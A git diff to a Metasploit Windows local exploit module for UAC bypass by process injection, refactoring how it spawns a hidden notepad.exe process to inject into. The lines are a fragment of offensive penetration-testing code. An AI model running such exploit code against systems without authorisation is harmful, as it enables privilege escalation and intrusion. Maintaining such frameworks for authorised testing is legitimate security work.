diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index e7954eb93e..2d65154f85 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -181,13 +181,13 @@ class Metasploit3 < Msf::Exploit::Local windir = expand_path("%WINDIR%").strip print_status("Spawning process with Windows Publisher Certificate, to inject into...") cmd = "#{windir}\\System32\\notepad.exe" - proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) + pid = cmd_exec_get_pid(cmd) - if proc.nil? or proc.pid.nil? + unless pid fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") end - proc.pid + pid end